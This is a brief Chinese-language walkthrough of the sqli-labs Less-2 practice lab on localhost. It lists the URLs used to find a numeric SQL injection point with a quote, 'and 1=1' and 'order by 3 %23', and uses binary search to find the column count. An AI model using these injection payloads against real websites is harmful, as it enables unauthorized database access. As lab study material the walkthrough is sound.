正常访问
http://127.0.0.1/sqli-labs-master/Less-2/?id=1
判断注入类型
http://127.0.0.1/sqli-labs-master/Less-2/?id=1'
注入字符型报错,注入数字型的正常,判断为数字类型的。
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1
开始注入
使用二分法,确定回显点,首先试6,没反应,试3,有反应;试5,无反应,试4,无反应。可以确定回显点为3 %23是#的转义
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 %23